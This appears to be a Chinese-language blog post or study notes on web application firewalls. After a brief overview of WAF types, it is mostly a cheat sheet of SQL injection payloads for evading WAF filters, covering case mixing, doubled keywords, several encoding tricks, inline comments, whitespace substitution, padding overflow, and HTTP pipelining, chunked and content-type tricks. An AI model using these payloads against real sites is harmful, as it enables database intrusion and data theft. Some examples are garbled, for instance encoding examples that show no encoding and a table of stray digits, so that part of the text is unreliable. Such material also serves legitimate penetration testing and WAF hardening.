1. WAF
1.1 WAF介绍
WAF是Web Application Firewall的简称。中文名为Web应用防护系统,也称网站应用级入侵防御系统。
1.2 WAF作用
1.2.1 网络层防护
拦截DDOS攻击、防御SYN Flood、防御Ack Flood、防御Http/Https Flood
1.2.2 应用层防护
URL黑白名单、HTTP协议规范、防御注入攻击、防御XSS攻击、防御XXE
1.3 分类
代码WAF:规则写在代码中
软件WAF:实时监听端口(服务)
硬件WAF:专门的硬件设备 代理流量 分析流量 网络镜像
云WAF:流量传到检测节点中做检测
1.4 工作流程
1.4.1 身份验证
白名单(IP、cookie、useragent、referer)
黑名单
1.4.2 数据包解析
1.4.3 匹配规则
ACL(访问控制列表)
2.Bypass常用方法
2.1 大小写
1 | select * from users where id='1 ' uNion SelEct 1,2,3,4 --+ |
2.2 替换关键字(关键字重复写)
1 | select * from users where id=1 ununionion selselectect |
2.3 编码
2.3.1 URL编码
1 | select * from users where id=1 %75nion select |
2.3.2 二次URL编码
将URL编码两次
2.3.3 错误URL编码
1 | union select password from users where id=1 |
在注入关键词处加上%,WAF会将其取出
2.3.4 Unicode编码
1 | union select password from users where id=1 |
Unicode编码
2.3.5 Nibble编码
Nibble编码是针对URL编码的%后两位进行二次编码的一种方法。
根据编码位置不同,被分为First Nibble、Second Nibble以及Double Nibble三种。
Type | Transformation of %61 | Result |
---|---|---|
First Nibble | 6 = %36 | %%361 |
Second Nibble | 1 = %31 | %6%31 |
Double Nibble | 6 = %36 1 = %31 | %%36%31 |
2.3.6错误16进制编码
Hex Character | Conversion | Decimal |
---|---|---|
%61 | 6*16+1 | 97 |
%2ú | 2*16+65 | 97 |
2.4 内联注释
/* */
1 | select * from users where id=1 union/**/ |
2.5 等价函数替换
1 | version @@version |
2.6 特殊符号
1 | + |
2.7 内联注释加!
1 | /*!union*/ |
2.8 缓冲区溢出
1 | ?id=1 and (select 1)=(select 0xAAAAAAAAAAAA*1000) union select 1,2 verion(),4,5,database(),8,9,10,11,12,13,14,15,16,17,18 |
0xA*1000指有1000个A
2.9 mysql特性绕过
1 | = 等于 |
2.10 隐私类型转换
1 | select 'a'=0; |
2.11 综合探索
内联注释
黑魔法
1 | select{x user}from{x mysql.user} |
换行符绕过:%23%0a %2d%2d%0a
1 | select * from admin where id=1[1] union [2]select [3]1,user()[4]from[5]admin |
2.11.1
[1]:
1 | /**/ /*!50000union*/ |
1 | 空白 %09 %0a %0b %0c %0d %20 |
1 | 浮点数形式 |
1 | 1E0 |
1 | \ |
2.11.2
[2]:
1 | 空白 |
1 | 注释符 |
1 | 括号 |
2.11.3
[3]:
1 | 空白 |
1 | 注释符 |
1 | 其他字符 |
1 | 括号 |
1 | 内联注释 |
1 | {} |
1 | "" |
1 | \N |
2.11.4
[4]:
1 | 空白 |
1 | 注释符 |
1 | 其他字符 |
1 | 内联注释 |
1 | 括号 |
1 | 加字母 |
1 | 浮点数、1E0、\N |
2.11.5
[5]:
1 | 空白 |
1 | 注释符 |
1 | 其他符号 |
1 | 内联注释 |
1 | {} |
1 | () |
1 | 2 | 2 |
---|---|---|
1 | 2 | 2 |
1 | 2 | 2 |
2.12 空白
RDBMS | Allowed whitespaces |
---|---|
SQLite 3 | 0A,0D,0C,09,20 |
MySQL 5 | 09,0A,0B,0C,0D,A0,20 |
Oracle 11g | 00,09,0A,0B,0C,0D,20 |
MSSQL 2008 | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20,25 |
2.13 特殊位置代替空格
科学计数法(1e0,.)
数学计算(+-*/)
特殊字符(\N)
注释符(/**/)
2.14 无空格的查询
1 | ?id=1e0and{``select(left(database(),1))} |
3. 基于HTTP协议的绕过方式
OWASP AppSec Europe
WAF Bypass Techniques-Using HTTP Standard and Web Servers’ Behaviour -- Soroush Dalili
来源:漏洞银行丨一般人我不告诉的WAF绕过新姿势-1337G丨咖面74期
3.1 基于HTTP0.9协议的绕过方式
3.2 HTTP隧道传输/HTTP pipline
通过BP拦包,在一个请求下添加多个请求,注意需要修改
1 | Connection:keep-alive |
3.3 畸形包
由于c=2&d=2
后面的内容WAF并能不识别,所以GET后面的Payload没有被WAF拦截掉
3.4 分块传输/Chunked Transfer
通过使用HTTP头Transfer-Encoding:chunked
设置达到分割参数的效果
在HTTP/1.1下使用
奇数行表示下一行的数据长度,使用16机制表示
偶数行表示传输的数据
在最后一行写0,并在0后写入多个回车
0后没有回车会没有响应
3.5 协议未覆盖
以下四种常见的content-type类型,我们可以尝试互相替换尝试绕过WAF过滤机制。
1 | Content-Type:text/html;charset=UTF-8 |
注:如图常见的绕过方式为使用multipart/form-data标签,并把name设为参数名内容写入注入语句。
4. 参考
[1] 漏洞银行丨一般人我不告诉的WAF绕过新姿势-1337G丨咖面74期
[2] Additional notes on “A Forgotten HTTP Invisibility Cloak” talk!